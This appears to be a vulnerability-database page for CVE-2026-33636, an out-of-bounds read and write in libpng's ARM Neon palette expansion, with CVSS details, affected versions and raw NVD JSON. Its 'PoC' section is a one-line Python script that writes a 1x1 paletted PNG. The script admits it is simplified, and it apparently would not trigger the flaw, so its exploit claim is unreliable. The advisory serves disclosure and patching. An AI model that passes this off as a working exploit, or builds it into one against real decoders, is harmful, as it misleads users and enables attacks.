Security Vulnerability Report
中文
CVE-2026-33636 CVSS 7.6 HIGH

CVE-2026-33636

Published: 2026-03-26 17:16:41
Last Modified: 2026-04-02 18:42:03

Description

LIBPNG is a reference library for use in applications that read, create, and manipulate PNG (Portable Network Graphics) raster image files. In versions 1.6.36 through 1.6.55, an out-of-bounds read and write exists in libpng's ARM/AArch64 Neon-optimized palette expansion path. When expanding 8-bit paletted rows to RGB or RGBA, the Neon loop processes a final partial chunk without verifying that enough input pixels remain. Because the implementation works backward from the end of the row, the final iteration dereferences pointers before the start of the row buffer (OOB read) and writes expanded pixel data to the same underflowed positions (OOB write). This is reachable via normal decoding of attacker-controlled PNG input if Neon is enabled. Version 1.6.56 fixes the issue.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:libpng:libpng:*:*:*:*:*:*:*:* - VULNERABLE
libpng 1.6.36 - 1.6.55

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct def create_malicious_png(): # PNG Signature png_sig = b'\x89PNG\r\n\x1a\n' # IHDR Chunk: Width=1, Height=1, Bit depth=8, Color type=3 (Indexed color) # This setup targets the palette expansion path ihdr_data = struct.pack('>IIBBBBB', 1, 1, 8, 3, 0, 0, 0) ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', 0x594C3D5D) # PLTE Chunk: Minimal palette (Red) plte_data = b'\xFF\x00\x00' plte_chunk = struct.pack('>I', 3) + b'PLTE' + plte_data + struct.pack('>I', 0x9BF620E9) # IDAT Chunk: Scanline data # Filter byte (0) + Index (0) idat_data = b'\x00\x00' # Compressing the data (simplified for PoC structure, real zlib compression needed for valid PNG) # In a real exploit, specific byte alignment is calculated to trigger the OOB in the Neon loop. import zlib compressed_idat = zlib.compress(idat_data) idat_chunk = struct.pack('>I', len(compressed_idat)) + b'IDAT' + compressed_idat + struct.pack('>I', 0x7A0D3A9B) # IEND Chunk iend_chunk = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', 0xAE426082) return png_sig + ihdr_chunk + plte_chunk + idat_chunk + iend_chunk with open('crash.png', 'wb') as f: f.write(create_malicious_png()) print('Malicious PNG generated.')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33636", "sourceIdentifier": "[email protected]", "published": "2026-03-26T17:16:41.477", "lastModified": "2026-04-02T18:42:02.667", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LIBPNG is a reference library for use in applications that read, create, and manipulate PNG (Portable Network Graphics) raster image files. In versions 1.6.36 through 1.6.55, an out-of-bounds read and write exists in libpng's ARM/AArch64 Neon-optimized palette expansion path. When expanding 8-bit paletted rows to RGB or RGBA, the Neon loop processes a final partial chunk without verifying that enough input pixels remain. Because the implementation works backward from the end of the row, the final iteration dereferences pointers before the start of the row buffer (OOB read) and writes expanded pixel data to the same underflowed positions (OOB write). This is reachable via normal decoding of attacker-controlled PNG input if Neon is enabled. Version 1.6.56 fixes the issue."}, {"lang": "es", "value": "LIBPNG es una biblioteca de referencia para uso en aplicaciones que leen, crean y manipulan archivos de imagen ráster PNG (Portable Network Graphics). En las versiones 1.6.36 a 1.6.55, existe una lectura y escritura fuera de límites en la ruta de expansión de paleta optimizada para Neon de ARM/AArch64 de libpng. Al expandir filas paletizadas de 8 bits a RGB o RGBA, el bucle Neon procesa un fragmento parcial final sin verificar que queden suficientes píxeles de entrada. Debido a que la implementación funciona hacia atrás desde el final de la fila, la iteración final desreferencia punteros antes del inicio del búfer de fila (lectura OOB) y escribe datos de píxeles expandidos en las mismas posiciones de desbordamiento inferior (escritura OOB). Esto es alcanzable a través de la decodificación normal de entrada PNG controlada por el atacante si Neon está habilitado. La versión 1.6.56 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libpng:libpng:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.6.36", "versionEndExcluding": "1.6.56", "matchCriteriaId": "CF5DCAF0-FA3A-48A5-857E-C3D960A27025"}]}]}], "references": [{"url": "https://github.com/pnggroup/libpng/commit/7734cda20cf1236aef60f3bbd2267c97bbb40869", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pnggroup/libpng/commit/aba9f18eba870d14fb52c5ba5d73451349e339c3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pnggroup/libpng/security/advisories/GHSA-wjr5-c57x-95m2", "source": "[email protected]", "tags": ["Vendor Advisory", "Patch"]}]}}